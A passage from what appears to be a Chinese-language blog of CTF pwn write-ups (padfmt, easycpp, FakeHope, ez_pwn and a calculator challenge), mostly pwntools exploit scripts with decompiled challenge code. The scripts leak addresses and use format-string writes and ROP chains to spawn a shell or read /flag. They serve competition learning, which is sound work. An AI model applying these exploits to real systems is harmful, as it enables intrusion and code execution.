func = 0x400A76

# leak stack
payload = b'a' * 0x60
sa("please enter your content:",payload)
ru(payload)
stack = u64(r(6).ljust(8,b'\x00')) - (0x7fffd2cf0340 - 0x7fffd2cf0110)
success(hex(stack))
# Restart
payload = b'a' * 0x148 + p64(func)
sa("please enter your content again:",payload)

# leak libc
payload = b'a' * 0x150
sa("please enter your content:",payload)
ru(payload)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x76227bc20840 - 0x76227bc00000)
success(f"libc_base ->{hex(libc_base)}")

pop_rdx_ret = libc_base + 0x0000000000001b92
leave_ret  = libc_base + 0x0000000000042361
# Restart
payload = b'a' * 0x148 + p64(func)
sa("please enter your content again:",payload)

target = stack + 0x10 - 0x8
open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
bss = 0x601000

payload = b'a' * 3
sa("please enter your content:",payload)

payload = p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(bss) + p64(0)
payload += p64(pop_rdx_ret) + p64(0x8)
payload += p64(read)

payload += p64(pop_rdi_ret) + p64(bss)
payload += p64(pop_rsi_r15_ret) + p64(0) + p64(0)
payload += p64(open)

payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_r15_ret) + p64(bss) + p64(0)
payload += p64(pop_rdx_ret) + p64(0x40)
payload += p64(read)

payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_r15_ret) + p64(bss) + p64(0)
payload += p64(pop_rdx_ret) + p64(0x40)
payload += p64(write)

payload = payload.ljust(0x140,b'a')
payload += p64(target) + p64(leave_ret)

sa("please enter your content again:",payload)
s(b"/flag\x00\x00\x00")

p.interactive()

padfmt

好新颖的题,没有见过这种类型的fmt,题目中有一个函数会把flag拷贝到栈上,思考了一会,可以用多个 %p组成的表达式去泄露栈相关的地址,因为memset过了一遍,所以不用考虑发送地址的时候 00位的问题,用 %p * n + %s + flag_addr去泄露flag的值

李华在学习了格式化字符串漏洞后大受震撼,但他突然想到 “对啊,如果我给 %n$p 里的 $ 过滤掉,再配合上一个很大块的空数据让 printf 随便泄露,不就是个安全的 printf 了吗!”

于是李华写了下面的这个 demo,看看聪明的你能不能打他的脸

exp

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "competition.blue-whale.me"
PORT = 20477

elf = context.binary = ELF('./padfmt')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


payload = "%p%p%p%p%p%p-%p"
sla("what is your name?",payload)
ru("-")
leak = int(r(14),16) # input addr
success(f"input_addr ->{hex(leak)}")

flag_addr = leak + (0x7ffe8cfa9480 - 0x7ffe8cfa9010)
success(f"flag_addr ->{hex(flag_addr)}")


payload = b"%p%p%p%p%p%p%p%p%p%p%p%p%p%sAAAA" + p64(flag_addr)
# g(p)
sla("have anything else to say?",payload)



p.interactive()

卡死欧计算器

int __cdecl handle_input()
{
  int v1; // eax
  int v2; // eax
  int v3; // eax
  OPInfo_0 *v4; // rax
  int v5; // eax
  int v6; // eax
  int v7; // eax
  int v8; // eax
  char *end; // [rsp+18h] [rbp-B8h] BYREF
  handle_input::$ABC3A5BA1621B0CECBED674EC3823104 op_stack; // [rsp+20h] [rbp-B0h]
  handle_input::$B79843162A86359B3DBF089CA1AEDE1A num_stack; // [rsp+30h] [rbp-A0h]
  int pre_res; // [rsp+4Ch] [rbp-84h] BYREF
  double tmp; // [rsp+50h] [rbp-80h]
  double r; // [rsp+58h] [rbp-78h]
  double a; // [rsp+60h] [rbp-70h]
  double b; // [rsp+68h] [rbp-68h]
  double r_0; // [rsp+70h] [rbp-60h]
  double a_0; // [rsp+78h] [rbp-58h]
  double b_0; // [rsp+80h] [rbp-50h]
  OPInfo_0 *prev; // [rsp+88h] [rbp-48h]
  OPInfo_0 *curr; // [rsp+90h] [rbp-40h]
  double r_1; // [rsp+98h] [rbp-38h]
  double a_1; // [rsp+A0h] [rbp-30h]
  double b_1; // [rsp+A8h] [rbp-28h]
  OPInfo_0 *opi; // [rsp+B0h] [rbp-20h]
  int err; // [rsp+BCh] [rbp-14h]
  char *buf; // [rsp+C0h] [rbp-10h]
  int i; // [rsp+CCh] [rbp-4h]

  printf("input: ");
  memset(input_buffer, 0, sizeof(input_buffer));
  buf = fgets(input_buffer, 2000, stdin);
  if ( !buf )
    return 0;
  pre_res = 0;                                  // inputdataLen
  err = preprocess(buf, &pre_res);
  if ( err )
  {
    handle_preprocess_err(buf, err, pre_res);
    return 1;
  }
  else
  {
    num_stack.top = 0;
    num_stack.arr = (double *)malloc(8LL * pre_res);
    op_stack.top = 0;
    op_stack.arr = (char *)malloc(pre_res);
    *num_stack.arr = 0.0;
    for ( i = 0; buf[i]; ++i )
    {
      if ( buf[i] != ' ' )
      {
        if ( buf[i] > '/' && buf[i] <= '9' || buf[i] == 46 )// 0123456789   chr(46) == '.'
        {
          tmp = strtod(&buf[i], &end);
          num_stack.arr[++num_stack.top] = tmp;
          i = (_DWORD)end - (_DWORD)buf - 1;
        }
        else if ( buf[i] == '(' )
        {
          op_stack.arr[++op_stack.top] = '(';
        }
        else if ( buf[i] == ')' )
        {
          while ( op_stack.arr[op_stack.top] != '(' )
          {
            v1 = num_stack.top--;
            b = num_stack.arr[v1];
            v2 = num_stack.top--;
            a = num_stack.arr[v2];
            v3 = op_stack.top--;
            v4 = lookup_op(op_stack.arr[v3]);
            r = v4->op(a, b);
            num_stack.arr[++num_stack.top] = r;
          }
          --op_stack.top;
        }
        else
        {
          curr = lookup_op(buf[i]);
          while ( op_stack.top )
          {
            prev = lookup_op(op_stack.arr[op_stack.top]);
            if ( !prev || curr->level > prev->level )
              break;
            v5 = num_stack.top--;
            b_0 = num_stack.arr[v5];
            v6 = num_stack.top--;
            a_0 = num_stack.arr[v6];
            r_0 = prev->op(a_0, b_0);
            --op_stack.top;
            num_stack.arr[++num_stack.top] = r_0;
          }
          op_stack.arr[++op_stack.top] = curr->sym;
        }
      }
    }
    while ( op_stack.top )
    {
      opi = lookup_op(op_stack.arr[op_stack.top]);
      v7 = num_stack.top--;
      b_1 = num_stack.arr[v7];
      v8 = num_stack.top--;
      a_1 = num_stack.arr[v8];
      r_1 = opi->op(a_1, b_1);
      --op_stack.top;
      num_stack.arr[++num_stack.top] = r_1;
    }
    printf("result: %lf\n", num_stack.arr[num_stack.top]);
    free(op_stack.arr);
    free(num_stack.arr);
    return 1;
  }
}

看了一遍题目的逻辑,是一个基于栈的计算器。分析题目崩溃的样例() + () + 1,然后我构造了一些新的样例,比如说

() + () + ()
() + () + 2
() + () + () + ()
(
Read More
post @ 2024-04-28

easycpp

std::ios_base::width 这段代码设置了输入长度为96,buf距离rbp的距离为 0x90,不过 strcmp(s1, s2); 这里cmp成功的话走到后边cpy就会有一个溢出,程序存在一个backdoor函数,ret2text

int __cdecl main(int argc, const char **argv, const char **envp)
{
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  __int64 v9; // rax
  __int64 v10; // rax
  __int64 v11; // rax
  __int64 v12; // rax
  __int64 v13; // rax
  __int64 v14; // rax
  __int64 v15; // rax
  __int64 v16; // rax
  __int64 v17; // rax
  char s2[96]; // [rsp+0h] [rbp-90h] BYREF
  char s1[44]; // [rsp+60h] [rbp-30h] BYREF
  unsigned int v21; // [rsp+8Ch] [rbp-4h]

  init();
  v3 = std::operator<<<char>(&std::cout, &str02[abi:cxx11]);
  std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
  v4 = std::operator<<<char>(&std::cout, &str03[abi:cxx11]);
  std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
  v5 = std::operator<<<char>(&std::cout, &str04[abi:cxx11]);
  std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
  v6 = std::operator<<<char>(&std::cout, &str05[abi:cxx11]);
  std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
  v7 = std::operator<<<char>(&std::cout, &str06[abi:cxx11]);
  std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
  v8 = std::operator<<<char>(&std::cout, &str07[abi:cxx11]);
  std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
  v9 = std::operator<<<char>(&std::cout, &str08[abi:cxx11]);
  std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
  v10 = std::operator<<<char>(&std::cout, &str09[abi:cxx11]);
  std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
  v11 = std::operator<<<char>(&std::cout, &str10[abi:cxx11]);
  std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>);
  v12 = std::operator<<<char>(&std::cout, &str11[abi:cxx11]);
  std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);
  v13 = std::operator<<<char>(&std::cout, &str12[abi:cxx11]);
  v14 = std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>);
  std::ostream::operator<<(v14, &std::endl<char,std::char_traits<char>>);
  v15 = std::operator<<<char>(&std::cout, &str01[abi:cxx11]);
  std::ostream::operator<<(v15, &std::endl<char,std::char_traits<char>>);
  v16 = std::operator<<<std::char_traits<char>>(&std::cout, "Tell me,which ctf is the best CTF?");
  std::ostream::operator<<(v16, &std::endl<char,std::char_traits<char>>);
  std::ios_base::width((std::ios_base *)&unk_404250, 96LL);
  std::operator>><char,std::char_traits<char>>(&std::cin, s2);
  v17 = std::operator<<<std::char_traits<char>>(&std::cout, s2);
  std::ostream::operator<<(v17, &std::endl<char,std::char_traits<char>>);
  strcpy(s1, "HZNUCTF,bestCTF!");
  v21 = strcmp(s1, s2);
  std::ostream::operator<<(&std::cout, v21);
  if ( v21 )
  {
    std::operator<<<std::char_traits<char>>(&std::cout, "Well, maybe you can try to believe HZNUCTF.");
  }
  else
  {
    memcpy(s1, s2, 0x60uLL);
    std::operator<<<std::char_traits<char>>(&std::cout, "You are right!");
    std::operator<<<std::char_traits<char>>(&std::cout, s1);
  }
  return 0;
}

exp:

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "150.158.117.224"
PORT = 20023

elf = context.binary = ELF('./easycpp')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

backdoor = 0x4012FE

payload = b'HZNUCTF,bestCTF!'
payload = payload.ljust(0x18,b'\x00') + p64(backdoor) * 10
# g(p)
sla("Tell me,which ctf is the best CTF?",payload)


p.interactive()

FakeHope

保护全开,同时输入函数是 scanf %s 存在 00截断,可以找一个指向栈的双重指针,通过这个双重指针往栈上写一个地址,这样就实现任意地址读写了,通过双重指针去调整这个地址,就能实现写 四个字节 八个字节的长数据,发现是低版本的libc,csu会被编译到elf里面,本来想着在buf附近用格式化字符串写rop 用csu去调整rsp的位置,但是buf那边有几个操作会修改buf里的数据,不太好布置,然后就往返回地址那写rop, 因为程序不能正常返回,不过只需要劫持子函数的返回地址为leave ret 就能正常返回了

int __cdecl main(int argc, const char **argv, const char **envp)
{
  hope(argc, argv, envp);
  return 0;
}
unsigned __int64 hope()
{
  char format[264]; // [rsp+0h] [rbp-110h] BYREF
  unsigned __int64 v2; // [rsp+108h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  init();
  do
  {
    __isoc99_scanf(&unk_2004, format);
    printf(format);
    putchar(10);
  }
  while ( strcmp(format, "exit") );
  system("echo FakeHope");
  return __readfsqword(0x28u) ^ v2;
}

exp写的很烂,不过懒得改了(

exp:

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "150.158.117.224"
PORT = 20022

elf = context.binary = ELF('./FakeHope')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

payload = b"%35$p-%43$p" 
sl(payload)

elf_base = int(r(14),16) - (0x64275a0c837d - 0x64275a0c7000)
success(f"elf_base ->{hex(elf_base)}")
ru('-')
libc_base = int(r(14),16) - (0x7234d1a20848 - 0x7234d1a00000)
success(f"libc_base ->{hex(libc_base)}")

rdi = elf_base + 0x0000000000001393
ret = elf_base + 0x000000000000101a
binsh = libc_base + 0x18ce57 + 0x8
system = libc_base + libc.sym['system'] + 0x8
leave_ret = elf_base + 0x000000000000130a


# 36:01b0│     0x7ffe1c3d3a38 —▸ 0x7ffe1c3d3aa8 —▸ 0x7ffe1c3d5583 ◂— 'SHELL=/bin/bash' 59
# 44:0220│     0x7ffe1c3d3aa8 —▸ 0x7ffe1c3d5583 ◂— 'SHELL=/bin/bash' 73

# 28:0148│     0x7ffc11eb7fe8 —▸ 0x7ffc11eb80b8 —▸ 0x7ffc11eb9557 ◂— '/home/lhj/Desktop/hznuctf/FakeHope/FakeHope' 45
# 42:0210│     0x7ffc11eb80b8 —▸ 0x7ffc11eb9557 ◂— '/home/lhj/Desktop/hznuctf/FakeHope/FakeHope' 71

payload = "%59$p"
sl(payload)
ru("0x")
leak = int(r(12),16) # 59 content
success(hex(leak))
return_addr = leak - (0x7ffd2282a748 - 0x7ffd2282a648)
printf_return_addr = return_addr - (0x7ffc11eb7fc8 - 0x7ffc11eb7ea8)
main = elf_base + 0x1296




payload = b"%" + str((printf_return_addr) & 0xffff).encode() + b'c%59$hn'
time.sleep(0.3)
sl(payload)



###### 在 return_addr 的位置 写一个 ret的gadget
###########################################################################
payload = b"%" + str((return_addr) & 0xffff).encode() + b'c%45$hn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((ret) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 1) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((ret >> 8) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 2) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((ret >> 16) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 3) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((ret >> 24) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 4) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((ret >> 32) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 5) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((ret >> 40) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)
##########################################################################






######### 在 return_addr + 8 的位置 写一个 pop rdi ret的gadget
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 8) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((rdi) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 8 + 1) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((rdi >> 8) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 8 + 2) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((rdi >> 16) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 8 + 3) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((rdi >> 24) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 8 + 4) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((rdi >> 32) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 8 + 5) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((rdi >> 40) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)
###################################################################################################################


############################################ 在 return_addr + 16 的位置 写一个 binsh字符串的地址
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 16) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((binsh) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 16 + 1) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((binsh >> 8) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 16 + 2) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((binsh >> 16) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 16 + 3) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((binsh >> 24) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 16 + 4) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((binsh >> 32) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 16 + 5) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((binsh >> 40) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)


########################### 写system函数的地址
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 24) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((system) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 24 + 1) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((system >> 8) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 24 + 2) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((system >> 16) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 24 + 3) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((system >> 24) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 24 + 4) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((system >> 32) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((return_addr + 24 + 5) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%45$hhn'
time.sleep(0.3)
sl(payload)
payload = b"%" + str((main) & 0xff).encode() + b'c%73$hhn'
payload += b"%" + str(((system >> 40) & 0xff) + (0x100 - (main & 0xff))).encode() + b'c%71$hhn'
time.sleep(0.3)
sl(payload)

payload = b"%" + str((leave_ret) & 0xffff).encode() + b'c%73$hn'
# g(p)
sl(payload)


p.interactive()

ez_pwn

非栈上格式化字符串orw,要过一个随机数,read那可以把随机数种子覆盖掉,然后栈迁移打orw就好了,栈迁移后会把rbp弄没,open的时候传参依赖于rbp,所以open可能会失败

int __cdecl main(int argc, const char **argv, const char **envp)
{
  sand_box(argc, argv, envp);
  rand_time();
  vuln();
  return 0;
}

void rand_time()
{
  char buf[8]; // [rsp+0h] [rbp-10h] BYREF
  unsigned int seed; // [rsp+8h] [rbp-8h] BYREF
  int i; // [rsp+Ch] [rbp-4h]

  seed = time(0LL);
  printf("welcome to HZNUCTF !");
  printf("Please input your name: ");
  read(0, buf, 0x10uLL);
  printf("Hello, %s\n", buf);
  puts("I wonder if you're lucky enough");
  srand(seed);
  for ( i = 0; i <= 9; ++i )
  {
    printf("Let's guess the number: ");
    __isoc99_scanf("%d", &seed);
    if ( rand() != seed )
    {
      puts("Wrong.");
      puts("Guess you weren't lucky enough.");
      exit(-1);
    }
    puts("Right.");
  }
}

__int64 vuln()
{
  puts("WOW you really a lucky guy!");
  puts("Then I want to know if you are capable enough.");
  while ( 1 )
  {
    printf("Please tell us something: ");
    read(0, s1, 0x80uLL);
    if ( !strcmp(s1, "HZNUCTF") )
      break;
    printf(s1);
  }
  return 0LL;
}

exp:

from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "150.158.117.224"
PORT = 20042

elf = context.binary = ELF('./ez_pwn')
libc = elf.libc

def connect():
    return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

cdll=ctypes.CDLL("./libc-2.31.so")


p = connect()

payload=b"a"*8+p32(0)+p32(0x20)
sa("Please input your name: ",payload)
cdll.srand(0)
for i in range(10):
	payload=cdll.rand()
	sla("Let's guess the number: ",str(payload))

payload=b"%6$p%7$p%9$p"+b"HZNUCTF\x00"
sa("Please tell us something: ",payload)

stack=int(p.recv(14).decode("utf-8"),16)
log.success(f"rbp->{hex(stack)}")
leek_main=int(p.recv(14).decode("utf-8"),16)
main=leek_main-38
log.success(f"main->{hex(main)}")
pie=main-0x14df
log.success(f"pie->{hex(pie)}")
libc_base=int(p.recv(14).decode("utf-8"),16)-libc.sym["__libc_start_main"]-243
log.success(f"libc_base->{hex(libc_base)}")
bss=pie+0x4060
leave_ret=pie+0x1369

payload=f"%{(stack&0xffff)-0x8}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(leave_ret&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x28}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(bss&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x30}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(leave_ret&0xffff)}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)

payload=f"%{(stack&0xffff)-0x10}c%11$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)
payload=f"%{(stack&0xffff)+0x28}c%39$hnHZNUCTF\x00".encode()
sa("Please tell us something: ",payload)

open=libc_base+libc.sym["open"]
read=libc_base+libc.sym["read"]
write=libc_base+libc.sym["write"]
pop_rdi=pie+0x1573
pop_rsi=libc_base+0x2601f
pop_rdx=libc_base+0x15fae6
flag=bss+0xe0
buf=bss+0x100

payload=b"HZNUCTF\x00"
payload += p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss+0x48) + p64(pop_rdx) + p64(0x110) + p64(0)
payload += p64(read)
sa("Please tell us something: ",payload)

payload = p64(pop_rdi) + p64(flag) + p64(open)
payload += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(buf) + p64(pop_rdx) + p64(0x30) + p64(0) + p64(read) 
